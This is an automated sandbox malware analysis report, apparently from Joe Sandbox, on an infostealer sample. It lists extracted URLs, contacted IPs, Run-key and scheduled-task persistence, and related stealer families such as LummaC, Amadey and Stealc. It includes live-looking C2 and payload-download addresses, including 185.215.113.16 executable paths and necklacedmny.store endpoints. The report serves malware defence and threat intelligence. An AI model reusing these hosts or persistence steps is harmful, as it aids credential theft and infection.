https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.openh264.org/plugins-widevine-descriptionhttps://www.widevine.com/stageLangpacksForAppUp	firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001B.00000002.2971838030.0000022980F33000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/15.113.43/a	skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apieta	3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The	firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://presticitpo.store:443/api	3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://microsoft.co	3e1d30d118.exe, 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjs	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213eb	firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%shandlerSvc	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001B.00000002.2937254073.000002297E6BA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001B.00000002.2966735935.0000022980854000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exel	file.exe, 00000000.00000003.1877288761.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api_v.~	3e1d30d118.exe, 0000000C.00000003.2935381139.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2981047293.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2983817330.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/d	file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exej	skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpncodedJ	skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/c	file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpE	skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exew	skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/H	file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001B.00000002.2961962144.0000022980268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2969804353.0000022980D9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F5CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2955510210.000002297F4ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2971838030.0000022980F22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.000002298028D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2951117216.000002297ECBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2970883712.0000022980E20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2906389932.000002297A4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.000002298014D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2809595407.000002297ECDB000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546614
Start date and time:	2024-11-01 08:49:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@53/21@15/6
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 3e1d30d118.exe, PID 7660 because there are no executed function
Execution Graph export aborted for target SP29EZJLUAF4OXVNPKLP.exe, PID 8028 because it is empty
Execution Graph export aborted for target file.exe, PID 7528 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4564 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4908 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
03:50:00	API Interceptor	11x Sleep call for process: file.exe modified
03:51:02	API Interceptor	266380x Sleep call for process: skotes.exe modified
03:51:28	API Interceptor	19x Sleep call for process: 3e1d30d118.exe modified
03:51:55	API Interceptor	14x Sleep call for process: c077ee22d1.exe modified
07:50:26	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
07:51:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
07:51:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe
07:51:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe
07:51:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003125001\num.exe
07:52:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
07:52:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
188.114.96.3	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	paste.ee/d/sTNna
	Lana_Rhoades_Photoos.js	Get hash	malicious	Unknown	Browse	paste.ee/d/ciuNW
	PO-000172483 (2).exe	Get hash	malicious	FormBook, GuLoader	Browse	www.launchdreamidea.xyz/2b9b/
	VfKk5EmvwW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	083098cm.n9shteam.in/vmBase.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CEqTVkxM/download
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	977255cm.nyashkoon.in/secureWindows.php
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.97.3
	V323904LY3.lNK.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	104.22.75.171
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	ICBM.exe	Get hash	malicious	Xmrig	Browse	104.26.9.242
	SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Get hash	malicious	Xmrig	Browse	162.159.135.233
	ICBM.exe	Get hash	malicious	Xmrig	Browse	104.26.9.242
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
